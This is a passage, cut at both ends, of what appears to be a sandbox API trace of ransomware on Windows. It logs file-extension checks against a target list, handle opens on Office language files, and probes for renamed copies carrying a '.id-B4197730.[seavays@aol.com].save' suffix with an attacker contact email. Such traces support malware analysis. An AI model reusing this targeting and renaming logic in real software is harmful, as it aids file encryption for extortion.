shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString=".doc") returned 4 [0073.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString=".docx") returned 5 [0073.664] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0073.664] lstrlenW (lpString=".pdf") returned 4 [0073.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString=".xls") returned 4 [0073.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString=".xlsx") returned 5 [0073.664] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0073.664] lstrlenW (lpString=".ppt") returned 4 [0073.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString=".zip") returned 4 [0073.664] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString=".rar") returned 4 [0073.664] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString=".bz2") returned 4 [0073.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.664] lstrlenW (lpString=".7z") returned 3 [0073.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString=".dbf") returned 4 [0073.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString=".1cd") returned 4 [0073.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.665] lstrlenW (lpString=".jpg") returned 4 [0073.665] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.665] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.665] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.666] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=9728) returned 1 [0073.666] CloseHandle (hObject=0x378) returned 1 [0073.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0073.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.666] lstrlenW (lpString=".doc") returned 4 [0073.666] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.666] lstrlenW (lpString=".docx") returned 5 [0073.666] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.666] lstrlenW (lpString=".pdf") returned 4 [0073.666] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.666] lstrlenW (lpString=".xls") returned 4 [0073.666] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.667] lstrlenW (lpString=".xlsx") returned 5 [0073.667] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.667] lstrlenW (lpString=".ppt") returned 4 [0073.667] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString=".zip") returned 4 [0073.667] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.667] lstrlenW (lpString=".rar") returned 4 [0073.667] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.667] lstrlenW (lpString=".bz2") returned 4 [0073.667] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.667] lstrlenW (lpString=".7z") returned 3 [0073.667] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString=".dbf") returned 4 [0073.667] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString=".1cd") returned 4 [0073.667] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString=".jpg") returned 4 [0073.667] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.667] lstrlenW (lpString=".doc") returned 4 [0073.667] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.667] lstrlenW (lpString=".docx") returned 5 [0073.667] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.667] lstrlenW (lpString=".pdf") returned 4 [0073.667] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.668] lstrlenW (lpString=".xls") returned 4 [0073.668] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.668] lstrlenW (lpString=".xlsx") returned 5 [0073.668] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.668] lstrlenW (lpString=".ppt") returned 4 [0073.668] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.668] lstrlenW (lpString=".zip") returned 4 [0073.668] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.668] lstrlenW (lpString=".rar") returned 4 [0073.668] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.668] lstrlenW (lpString=".bz2") returned 4 [0073.668] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.668] lstrlenW (lpString=".7z") returned 3 [0073.668] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.668] lstrlenW (lpString=".dbf") returned 4 [0073.668] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.668] lstrlenW (lpString=".1cd") returned 4 [0073.668] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0073.668] lstrlenW (lpString=".jpg") returned 4 [0073.668] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.669] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.669] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.669] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10240) returned 1 [0073.670] CloseHandle (hObject=0x378) returned 1 [0073.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0073.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.670] lstrlenW (lpString=".doc") returned 4 [0073.670] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.670] lstrlenW (lpString=".docx") returned 5 [0073.670] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.670] lstrlenW (lpString=".pdf") returned 4 [0073.670] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.670] lstrlenW (lpString=".xls") returned 4 [0073.670] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.670] lstrlenW (lpString=".xlsx") returned 5 [0073.670] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.670] lstrlenW (lpString=".ppt") returned 4 [0073.670] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.670] lstrlenW (lpString=".zip") returned 4 [0073.670] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.670] lstrlenW (lpString=".rar") returned 4 [0073.670] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.670] lstrlenW (lpString=".bz2") returned 4 [0073.670] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.671] lstrlenW (lpString=".7z") returned 3 [0073.671] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString=".dbf") returned 4 [0073.671] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString=".1cd") returned 4 [0073.671] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString=".jpg") returned 4 [0073.671] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString=".doc") returned 4 [0073.671] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.671] lstrlenW (lpString=".docx") returned 5 [0073.671] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.671] lstrlenW (lpString=".pdf") returned 4 [0073.671] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.671] lstrlenW (lpString=".xls") returned 4 [0073.671] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.671] lstrlenW (lpString=".xlsx") returned 5 [0073.671] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.671] lstrlenW (lpString=".ppt") returned 4 [0073.671] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.671] lstrlenW (lpString=".zip") returned 4 [0073.671] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.671] lstrlenW (lpString=".rar") returned 4 [0073.671] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.672] lstrlenW (lpString=".bz2") returned 4 [0073.672] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.672] lstrlenW (lpString=".7z") returned 3 [0073.672] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.672] lstrlenW (lpString=".dbf") returned 4 [0073.672] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.672] lstrlenW (lpString=".1cd") returned 4 [0073.672] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0073.672] lstrlenW (lpString=".jpg") returned 4 [0073.672] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.672] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.672] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.672] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10752) returned 1 [0073.673] CloseHandle (hObject=0x378) returned 1 [0073.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0073.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.673] lstrlenW (lpString=".doc") returned 4 [0073.673] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.673] lstrlenW (lpString=".docx") returned 5 [0073.673] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.673] lstrlenW (lpString=".pdf") returned 4 [0073.673] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.673] lstrlenW (lpString=".xls") returned 4 [0073.673] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.673] lstrlenW (lpString=".xlsx") returned 5 [0073.673] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.673] lstrlenW (lpString=".ppt") returned 4 [0073.673] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.673] lstrlenW (lpString=".zip") returned 4 [0073.673] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.673] lstrlenW (lpString=".rar") returned 4 [0073.673] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.673] lstrlenW (lpString=".bz2") returned 4 [0073.674] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.674] lstrlenW (lpString=".7z") returned 3 [0073.674] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString=".dbf") returned 4 [0073.674] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString=".1cd") returned 4 [0073.674] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString=".jpg") returned 4 [0073.674] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString=".doc") returned 4 [0073.674] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.674] lstrlenW (lpString=".docx") returned 5 [0073.674] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.674] lstrlenW (lpString=".pdf") returned 4 [0073.674] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.674] lstrlenW (lpString=".xls") returned 4 [0073.674] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.674] lstrlenW (lpString=".xlsx") returned 5 [0073.674] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.674] lstrlenW (lpString=".ppt") returned 4 [0073.674] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.674] lstrlenW (lpString=".zip") returned 4 [0073.675] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.675] lstrlenW (lpString=".rar") returned 4 [0073.675] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.675] lstrlenW (lpString=".bz2") returned 4 [0073.675] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.675] lstrlenW (lpString=".7z") returned 3 [0073.675] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.675] lstrlenW (lpString=".dbf") returned 4 [0073.675] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.675] lstrlenW (lpString=".1cd") returned 4 [0073.675] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0073.675] lstrlenW (lpString=".jpg") returned 4 [0073.675] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.675] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.675] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.676] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10752) returned 1 [0073.676] CloseHandle (hObject=0x378) returned 1 [0073.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0073.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.676] lstrlenW (lpString=".doc") returned 4 [0073.676] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.676] lstrlenW (lpString=".docx") returned 5 [0073.676] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.676] lstrlenW (lpString=".pdf") returned 4 [0073.676] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.676] lstrlenW (lpString=".xls") returned 4 [0073.676] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.676] lstrlenW (lpString=".xlsx") returned 5 [0073.676] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.676] lstrlenW (lpString=".ppt") returned 4 [0073.676] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.676] lstrlenW (lpString=".zip") returned 4 [0073.677] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.677] lstrlenW (lpString=".rar") returned 4 [0073.677] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.677] lstrlenW (lpString=".bz2") returned 4 [0073.677] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.677] lstrlenW (lpString=".7z") returned 3 [0073.677] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.677] lstrlenW (lpString=".dbf") returned 4 [0073.677] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.677] lstrlenW (lpString=".1cd") returned 4 [0073.677] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.677] lstrlenW (lpString=".jpg") returned 4 [0073.677] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.677] lstrlenW (lpString=".doc") returned 4 [0073.677] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.677] lstrlenW (lpString=".docx") returned 5 [0073.677] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.677] lstrlenW (lpString=".pdf") returned 4 [0073.677] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.677] lstrlenW (lpString=".xls") returned 4 [0073.677] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.677] lstrlenW (lpString=".xlsx") returned 5 [0073.677] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.677] lstrlenW (lpString=".ppt") returned 4 [0073.677] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.678] lstrlenW (lpString=".zip") returned 4 [0073.678] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.678] lstrlenW (lpString=".rar") returned 4 [0073.678] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.678] lstrlenW (lpString=".bz2") returned 4 [0073.678] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.678] lstrlenW (lpString=".7z") returned 3 [0073.678] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.678] lstrlenW (lpString=".dbf") returned 4 [0073.678] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.678] lstrlenW (lpString=".1cd") returned 4 [0073.678] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0073.678] lstrlenW (lpString=".jpg") returned 4 [0073.678] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.678] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.678] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0073.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.679] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: 